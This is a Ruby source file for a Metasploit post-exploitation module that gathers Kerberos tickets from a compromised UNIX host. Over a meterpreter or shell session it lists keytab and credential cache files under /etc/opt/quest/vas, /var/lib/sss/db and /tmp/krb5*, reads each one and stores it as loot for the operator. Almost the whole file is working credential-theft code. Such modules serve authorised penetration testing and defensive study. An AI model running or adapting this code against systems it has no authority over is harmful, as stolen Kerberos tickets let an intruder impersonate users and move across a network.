unix_kerberos_tickets.rb

# Copyright (c) 2015-2018, Cisco International Ltd
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#     * Redistributions of source code must retain the above copyright
#       notice, this list of conditions and the following disclaimer.
#     * Redistributions in binary form must reproduce the above copyright
#       notice, this list of conditions and the following disclaimer in the
#       documentation and/or other materials provided with the distribution.
#     * Neither the name of the Cisco International Ltd nor the
#       names of its contributors may be used to endorse or promote products
#       derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL CISCO INTERNATIONAL LTD BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
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# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info={})
    super( update_info(info,
      "Name"           => "UNIX Gather Kerberos Tickets",
      "Description"    => %q{ Post Module to obtain all kerberos tickets on the targeted UNIX machine. },
      "License"        => MSF_LICENSE,
      "Author"         => [ "Tim Brown <timb[at]nth-dimension.org.uk>"],
      "Platform"       => %w{ linux osx unix solaris aix },
      "SessionTypes"   => [ "meterpreter", "shell" ]
    ))
  end

  def run
    print_status("Finding files")
    files = [ "/etc/opt/quest/vas/host.keytab" ]
    files = files + cmd_exec("ls /var/lib/sss/db/ccache_*").split(/\r\n|\r|\n/)
    files = files + cmd_exec("ls /tmp/krb5*").split(/\r\n|\r|\n/)
    files = files.select { |d| file?(d) }
    if files.nil? || files.empty?
      print_error("No kerberos tickets found")
      return
    end
    download_loot(files)
  end

  def download_loot(files)
    print_status("Looting #{files.count} files")
    files.each do |file|
      file.chomp!
      sep = "/"
      print_status("Downloading #{file}")
      data = read_file(file)
      file = file.split(sep).last
      loot_file = store_loot("unix_kerberos_tickets", "text/plain", session, data, "unix_kerberos_tickets_#{file}", "Kerberos Tickets File")
      print_good("File stored in: #{loot_file.to_s}")
    end
  end
end